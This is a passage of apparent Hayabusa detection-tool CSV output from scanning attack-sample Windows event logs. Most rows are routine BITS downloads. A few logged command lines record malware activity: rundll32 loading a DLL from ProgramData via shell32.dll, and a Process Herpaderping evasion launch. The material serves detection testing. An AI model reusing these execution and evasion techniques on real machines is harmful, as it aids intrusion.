Parent Command: ""C:\Windows\SysWOW64\rundll32.exe"" ""C:\Windows\SysWOW64\shell32.dll"",#44 C:\PROGRA~3\DATAUS~1.DLL 4624665222",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 06:58:22.066 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" DATAUS~1.DLL f8755 4624665222 rd : Path: C:\Windows\SysWOW64\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: rundll32.exe C:\PROGRA~3\DATAUS~1.DLL f8755 4624665222",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/rundll32_cmd_schtask.evtx +2020-10-24 22:15:50.672 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-24 22:53:41.949 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1amaWj.img?w=100&h=100&m=6&tilesize=medium&x=1912&y=840&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-24 22:53:43.173 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161342140454_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-24 23:25:16.281 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-24 23:25:17.595 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-25 00:07:57.551 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1amczd.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-25 00:07:57.815 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161342140454_Images/LiveTileImages/MediumAndLarge/Image2.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-25 05:37:35.394 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1amg5S.img?w=100&h=100&m=6&tilesize=medium&x=2238&y=680&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-10-27 19:17:18.397 +09:00,LAPTOP-JU4M3I0E,1,informational,Process Creation,"Command: "".\samir.exe"" : Path: C:\Users\bouss\Downloads\samir.exe : User: LAPTOP-JU4M3I0E\bouss : Parent Command: ProcessHerpaderping.exe ""c:\Program Files\Internet Explorer\iexplore.exe"" .\samir.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_ProcessHerpaderping_Sysmon_11_10_1_7.evtx +2020-10-27 19:17:18.397 +09:00,LAPTOP-JU4M3I0E,1,medium,Suspicious File Characteristics Due to Missing Fields,,rules/sigma/process_creation/win_susp_file_characteristics.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_ProcessHerpaderping_Sysmon_11_10_1_7.evtx +2020-11-02 03:28:53.729 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-02 03:30:10.144 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-02 03:30:10.448 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-02 03:30:10.667 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: SetupBinary : URL: https://oneclient.sfx.ms/Win/Prod/20.169.0823.0008/OneDriveSetup.exe,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-02 03:30:11.059 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: SetupBinary : URL: https://oneclient.sfx.ms/Win/Prod/20.169.0823.0008/OneDriveSetup.exe,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-02 03:33:01.610 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 19:55:56.114 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{DE1AA2CB-2733-420D-BD53-D15E1761ED0D}-86.0.4240.183_86.0.4240.111_chrome_updater.exe : URL: http://r2---sn-5hnekn7d.gvt1.com/edgedl/release2/chrome/APOVneiKVAxsNCc0oAg3ibQ_86.0.4240.183/86.0.4240.183_86.0.4240.111_chrome_updater.exe?cms_redirect=yes&mh=T1&mip=213.127.67.78&mm=28&mn=sn-5hnekn7d&ms=nvh&mt=1604573655&mv=m&mvi=2&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 19:59:25.802 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 19:59:51.480 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 20:03:04.083 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aHmh2.img?w=100&h=100&m=6&tilesize=medium&x=2005&y=1451&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 20:03:05.093 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161342940453_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 20:03:06.197 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: http://blob.weather.microsoft.com:80/static/mws-new/WeatherImages/210x173/29.jpg?a,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 21:31:12.664 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 21:31:12.941 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-05 21:33:21.719 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aFbhf.img?w=100&h=100&m=6&tilesize=medium&x=2920&y=321&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-06 00:25:28.955 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aIYx8.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-06 00:25:30.216 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161342940453_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-06 19:52:28.687 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aKxpG.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-06 23:56:52.824 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-08 00:33:50.498 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19R5M0.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-08 00:36:30.267 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-08 00:36:30.760 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 17:25:00.043 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Font Download : URL: https://fs.microsoft.com/fs/windows/config.json,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 17:28:07.533 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 17:28:08.240 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 20:33:58.291 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aPIV0.img?w=100&h=100&m=6&tilesize=medium&x=1544&y=1092&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 20:33:58.749 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image2.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 20:33:59.731 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: http://blob.weather.microsoft.com:80/static/mws-new/WeatherImages/210x173/32.jpg?a,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 22:29:29.376 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-09 22:29:29.868 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-10 21:35:58.814 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-10 21:36:00.732 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-11 21:51:23.040 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-11 21:51:33.078 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.703 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.714 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.718 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.722 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.743 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.748 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.752 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.756 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.788 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.794 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.798 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.802 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aUuAd.img?w=100&h=100&m=6&tilesize=medium&x=795&y=190&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.899 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.906 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.910 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 00:56:12.913 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 19:56:13.148 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: C:\Users\IEUser\AppData\Local\Temp\{9FF0B339-0202-4A5B-B73E-CFFB4FCBD124}-86.0.4240.193_86.0.4240.183_chrome_updater.exe : URL: http://r2---sn-5hne6nsy.gvt1.com/edgedl/release2/chrome/QX5U7YrFu2EjtutZ_UHwBg_86.0.4240.193/86.0.4240.193_86.0.4240.183_chrome_updater.exe?cms_redirect=yes&mh=qK&mip=213.127.67.111&mm=28&mn=sn-5hne6nsy&ms=nvh&mt=1605092117&mv=m&mvi=2&pl=17&shardbypass=yes,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 21:44:50.465 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: https://g.live.com/odclientsettings/Prod,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 23:12:22.524 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aULGJ.img?w=100&h=100&m=6&tilesize=medium&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-12 23:12:25.568 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image1.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-13 19:12:09.946 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1aYFdj.img?w=100&h=100&m=6&tilesize=medium&x=703&y=371&ms-scale=100&ms-contrast=standard,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-13 19:31:57.260 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: Push Notification Platform Job: 1 : URL: https://site-cdn.onenote.net/161350540457_Images/LiveTileImages/MediumAndLarge/Image3.png,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-14 04:57:22.022 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: UpdateDescriptionXml : URL: https://g.live.com/1rewlive5skydrive/ODSUProduction,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Command and Control/bits_openvpn.evtx +2020-11-15 20:47:59.752 +09:00,MSEDGEWIN10,59,informational,Bits Job Creation,Job Title: PreSignInSettingsConfigJSON : URL: 